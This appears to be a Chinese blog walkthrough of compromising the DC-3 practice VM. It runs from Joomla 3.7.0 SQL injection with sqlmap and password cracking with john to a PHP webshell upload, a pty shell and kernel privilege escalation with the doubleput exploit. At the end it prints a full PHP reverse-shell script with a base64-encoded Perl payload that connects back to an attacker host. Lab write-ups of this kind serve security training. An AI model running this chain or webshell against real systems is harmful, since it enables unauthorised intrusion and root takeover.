DC-3渗透实战(详细过程)

目录

DC-3靶机

1.主机发现

2.端口扫描

3.网页信息探测

4.敏感目录扫描

5.漏洞查找和漏洞利用

漏洞查找

joomscan

searchsploit

漏洞利用

sqlmap

John

反弹shell

交互式shell

6.收集信息

7.主机渗透

系统漏洞查找

exp提权


DC-3靶机

DC-3靶场下载地址http://www.five86.com/downloads/DC-3-2.zip

安装按照我DC-1的文章

如果遇到 “IDE 设备(磁盘/CD-ROM)配置不正确。“ide1:1”上具有一个 IDE 从设备,但没有主设备。此配置在虚拟机中无法正常运行。请使用配置编辑器将磁盘/CD-ROM 从“ide1:1”移到“id...”的错误, 参照文章IDE 设备(磁盘/CD-ROM)配置不正确。“ide1:1”上具有一个 IDE 从设备,但没有主设备。此配置在虚拟机中无法正常运行。请使用配置编辑器将磁盘/CD-ROM 从“ide1:1”移到“id..._weixin_30673715的博客-CSDN博客

配置完成后 确保DC-3和kali处于同一网段下

1.主机发现

arp-scan -l

对比靶机MAC地址确定靶机IP为192.168.20.140

2.端口扫描

nmap -sV -p- 192.168.20.140

3.网页信息探测

使用火狐打开网页 192.168.20.140:80

发现有登录界面 先继续进行探测

用whatweb探测站点信息

whatweb -v 192.168.20.140

 得出的信息如上 但是并未发现关键有用的信息

4.敏感目录扫描

使用nikto进行敏感目录扫描

nikto -host 192.168.20.140

发现如下敏感目录 逐一输入在浏览器中进行探测

成功找到后台登录界面

 并且很明显网站是joomla的cms版本

5.漏洞查找和漏洞利用

漏洞查找

joomscan

joomscan是一款开源的且针对joomla的扫描器,kali可以用命令apt install joomscan安装该工具

利用joomscan进行joomla信息探测

joomscan -u 192.168.20.140

 得到joomla版本信息

既然得到了joomla版本信息 就可以直接查找该版本对应的漏洞 并加以利用进行渗透

searchsploit

利用searchsploit进行对应版本的漏洞探测

searchsploit Joomla 3.7.0

可以看到 该版本有SQL注入漏洞和XSS漏洞

因为我们要得到网站后台的登录账号和密码 而账号和密码是存储在数据库之中 所以要利用SQL注入漏洞进行攻击 从而拿到账号密码

查找漏洞对应路径

searchsploit -p 42033.txt

漏洞利用

sqlmap

将漏洞复制到桌面

cp /usr/share/exploitdb/exploits/php/webapps/42033.txt Desktop/42033.txt

打开文件后 文件中具体描述了注入点和payload

同时还发现了对应的sqlmap命令

sqlmap是一款强大的SQL注入工具 使用其可以大大提高SQL注入的效率 并且kali中自带sqlmap

复制sqlmap的命令

 在终端中运行sqlmap(注意url中localhost要替换成靶机的IP地址) 选择y或者n时 手动输入y并且回车

 成功爆库

选择joomladb数据库继续进行注入 命令如下(dbs参数用来爆破数据库名 得出数据库名后 要将dbs参数删去)

 运行

 成功爆表

通过分析表名 猜测账号和密码存储在#__users表中

选择#__users表继续进行注入 命令如下(表名有特殊符号 加上引号)

运行 一直回车就好了

成功爆列

选择username和password两个字段进行查看账户和用户名 命令如下

运行

 成功爆值

发现password中的数值并不是明文 而是被加密了 显然这是哈希密码 可以通过kali工具john进行爆破解密

John

在桌面创建一个文件 将hash密码粘贴进去并保存

使用john爆破 命令如下

john Desktop/DC-3-hash

因为我之前解密过该文件 所以需要加上参数show查看历史解密结果

 密码为snoopy

使用得到的账号密码进行登录后台

成功进入后台

反弹shell

在Templates: Customise (Beez3)模块中找到了文件上传点

可以用一句话木马进行上传 也可用反弹shell

这里采用反弹shell(代码放在最后)

点击new file 创建一个名为web.php的文件

创建成功后 写入反弹shell代码 并修改其中接收的ip地址(kali地址)以及端口

 点击save保存 就上传成功了

joomla框架下 模块会单独放在一个文件夹里/templates/,而beez3模块就在/templates/beez3/里面,刚才创建的webshell路径为 http://192.168.20.140/templates/beez3/web.php

打开kali监听8888端口

nc -lvvp 8888

 浏览器访问shell地址

 成功反弹shell

交互式shell

利用python获取交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

whoami查看权限

 并不是root权限 所以要进行提权

6.收集信息

拿到shell之后获得了一定权限 就要进行信息收集 查看是否有遗漏的信息

linux系统下要尤其注意 /etc/passwd 和/etc/crontab两个文件 前者用来存储用户名 后者用来存储定时任务 有时候都是解题的关键

查看/etc/passwd

 发现有个dc3用户 本来想尝试hydra爆破 用ssh连接 后面发现并没有开放ssh服务的端口 于是果断放弃

查看etc/crontab

 暂未发现可疑点

再寻找一下根下有无flag文件

find / -name flag* 发现有非常多结果 但都不是我们需要的

暂无可用信息 开始尝试提权

7.主机渗透

系统漏洞查找

经过尝试发现 这里没法用SUID和git进行提权 于是利用系统漏洞进行提权

cat /etc/issue (查看操作系统版本信息)

确定了版本信息之后 直接上searchsploit

 找到4.4.x的漏洞 后面对应Privilege Escalation(提权)

查看漏洞路径

复制到桌面

cp /usr/share/exploitdb/exploits/linux/local/39772.txt Desktop/39772.txt

 打开文件

 列出了漏洞产生的原因以及描述和漏洞利用的方法

最后一行附上了exp的链接

exp提权

网址打开下载链接后进行下载

点击ok 下载到了downloads中

移动到本地桌面 并解压到本地桌面

用python开启http服务

python -m http.server 8080 #python3开启服务

python -m SimpleHTTPServer 8080 #python2开启服务器

浏览器访问

出现如上界面就是服务开启成功了

进入39772/文件夹 复制exploit.tar连接地址

 回到连接靶机的终端 利用wget命令下载

下载之后解压文件

tar -xvf exploit.tar

 进入exploit文件夹

 根据39772.txt的方法执行两个文件

执行文件

./compile.sh

 ./doubleput

 回车 whoami查看权限

 成功获取root权限

进入/root目录下 查看最后的flag文件

成功通关!!!

反弹shell代码

<?php
function which($pr) {
	$path = execute("which $pr");
	return ($path ? $path : $pr);
	}
function execute($cfe) {
	$res = '';
	if ($cfe) {
		if(function_exists('exec')) {
			@exec($cfe,$res);
			$res = join("\n",$res);
			} 
			elseif(function_exists('shell_exec')) {
			$res = @shell_exec($cfe);
			} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "your IP";
$yourport = 'your port';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

tzyyyyyy

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值